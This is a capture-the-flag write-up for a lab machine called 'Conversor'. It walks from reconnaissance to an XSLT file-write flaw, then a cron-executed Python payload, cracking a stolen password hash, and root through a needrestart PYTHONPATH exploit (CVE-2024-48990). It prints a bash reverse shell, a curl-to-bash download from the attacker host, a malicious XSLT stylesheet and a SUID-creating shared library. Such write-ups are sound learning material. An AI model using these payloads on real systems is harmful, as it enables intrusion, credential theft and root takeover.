Reconnaissance

TCP Scan

┌──(naclapor㉿kali)-[~/]

└─$
sudo nmap -sC -sV -O 10.10.11.92
└─$
Nmap scan report for 10.10.11.92
Host is up (0.088s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/

I modify the hosts file to resolve the domain:

echo "10.10.11.92 conversor.htb" | sudo tee -a /etc/hosts

Enumeration

Port 80

Directory Fuzzing

┌──(naclapor㉿kali)-[~/]

└─$
gobuster dir -x .pdf -w /usr/share/wordlists/dirb/common.txt -u http://conversor.htb/
└─$
/about                (Status: 200) [Size: 2842]
/javascript           (Status: 301) [Size: 319] [--> http://conversor.htb/javascript/]
/login                (Status: 200) [Size: 722]
/logout               (Status: 302) [Size: 199] [--> /login]
/register             (Status: 200) [Size: 726]
/server-status        (Status: 403) [Size: 278]

Since the page loads slowly, I inspect the source code. In the source of http://conversor.htb/about, I find an interesting link: http://conversor.htb/static/source_code.tar.gz.

After downloading and analyzing the source code, I discover several important details.

Critical Finding 1: Cronjob

The source code reveals a cronjob that executes every minute as the www-data user:

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

This cronjob automatically executes any Python file placed in the /var/www/conversor.htb/scripts/ directory.

Critical Finding 2: XSLT Processing Vulnerability

The application code that handles XSLT file uploads contains a security flaw:

# app.py (Extract from convert function)
from lxml import etree
# ...
    # Saves the user-provided XSLT file. This is untrusted input.
    xslt_file.save(xslt_path) 

    try:
        # Creates parser for input XML (PARTIALLY secure)
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)

        # Loads XSLT file (NO restrictions or explicit parser)
        xslt_tree = etree.parse(xslt_path) 

        # Executes XSLT transformation
        transform = etree.XSLT(xslt_tree) # <<< This is the critical point
        result_tree = transform(xml_tree)

After researching online, I discovered that when lxml (which is based on the C library libxml2) processes an XSLT stylesheet through the etree.XSLT() class, it enables several extensions by default, including EXSLT (Extensions to XSLT).

The EXSLT extension, specifically the namespace http://exslt.org/common, contains a function called document. This allows writing the transformation result to a file specified by the href attribute (which can accept an absolute path).

The absence of explicit security parameters when calling etree.XSLT() with an untrusted XSLT file indicates that dangerous extensions are active and can be exploited to write arbitrary files to the filesystem, bypassing the restrictions imposed on the input XML.

Exploit

Crafting the Attack

First, I create a reverse shell script:

# shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.204/9001 0>&1

Then I start an HTTP server to host the shell script:

┌──(naclapor㉿kali)-[~/]

└─$
python3 -m http.server 8000

And set up a listener:

┌──(naclapor㉿kali)-[~/]

└─$
nc -lvnp 9001

Creating the XSLT Exploit

I create a malicious XSLT file that will write a Python script to the scripts directory. This Python script will download and execute my reverse shell.

shell.xslt:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
            <xsl:value-of select="'import os; os.system(\"curl 10.10.14.204:8000/shell.sh|bash\")'"/>
        </shell:document>
    </xsl:template>
</xsl:stylesheet>

dummy.xml:

<data></data>

Executing the Exploit

I create an account on http://conversor.htb/register and log in at http://conversor.htb/login.

On the main page at http://conversor.htb, I upload the files dummy.xml and shell.xslt, then click convert:

This writes the malicious Python script to /var/www/conversor.htb/scripts/shell.py. Within one minute, the cronjob executes it, and I receive a shell as the www-data user:

Post-Exploitation

From the source code, I had noted an interesting path:

/var/www/conversor.htb/instance/users.db

I start a Python HTTP server on the target machine and download the users.db file using wget on my attacking machine.

The database contains password hashes for various users:

The most interesting one is "fismathack", who has a home directory on the system.

I attempt to crack the hash using hashcat:

┌──(naclapor㉿kali)-[~/]

└─$
hashcat -a 0 -m 0 passwords.txt /usr/share/wordlists/rockyou.txt

I successfully crack the password for user fismathack:

5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm

I log in via SSH:

┌──(naclapor㉿kali)-[~/]

└─$
ssh fismathack@10.10.11.92

This gives me access to the first flag!

Privilege Escalation

I check the sudo privileges for the user:

┌──(naclapor㉿kali)-[~/]

└─$
sudo -l
└─$
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, 
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

I identify the version of needrestart:

┌──(naclapor㉿kali)-[~/]

└─$
/usr/sbin/needrestart --version
└─$
needrestart 3.7 - Restart daemons after library updates.

Authors:
  Thomas Liske <thomas@fiasko-nw.net>

Copyright Holder:
  2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]

Upstream:
  https://github.com/liske/needrestart

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This is a vulnerable version. The exploit is documented at https://github.com/ten-ops/CVE-2024-48990_needrestart.

The /usr/sbin/needrestart command is designed to scan running processes and identify those still using old libraries after a system update.

When needrestart analyzes a process:
1. It determines if the process is an instance of Python (or another scripted language)
2. It attempts to inspect the environment of that process (including where it's searching for modules to import)
3. If PYTHONPATH is set to a malicious directory, needrestart will load our malicious library

Creating the Exploit

First, I create the C source code for a malicious shared library:

lib.c:

/* lib.c - Creates SUID Shell in /tmp/poc */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

// Constructor function: executed automatically when library is loaded
static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) { // Verify that process is root
        setuid(0);
        setgid(0);
        // Payload: Copy /bin/sh to /tmp/poc and set SUID bit
        const char *shell = "cp /bin/sh /tmp/poc; chmod u+s /tmp/poc;";
        system(shell);
    }
}

Compile the code:

┌──(naclapor㉿kali)-[~/]

└─$
gcc -shared -o __init__.so -fPIC lib.c

On the victim machine, I navigate to /tmp, create an exploit folder, and transfer the malicious library:

cd /tmp
mkdir exploit
curl http://10.10.14.204:8000/__init__.so -o /tmp/exploit/__init__.so

Initial Attempt (Failed)

I set the PYTHONPATH environment variable to point to the exploit directory and execute needrestart with sudo:

export PYTHONPATH=/tmp/exploit
sudo /usr/sbin/needrestart

This fails because needrestart doesn't find any active Python processes that it considers necessary to inspect or restart. Consequently, it never activates its Python environment analysis logic and never loads the malicious __init__.so library.

Successful Exploitation

I create a decoy Python process:

echo 'import time; time.sleep(3600)' > dummy.py 
python3 dummy.py &

This process is essential because it provides needrestart with a concrete target to scan.

Now I execute needrestart with sudo again:

sudo /usr/sbin/needrestart

As soon as sudo needrestart runs, the C code inside __init__.so executes as root, creating the SUID shell in /tmp/poc.

Finally, I execute the SUID shell:

┌──(naclapor㉿kali)-[~/]

└─$
/tmp/poc -p

This gives me root access and I can retrieve the final flag!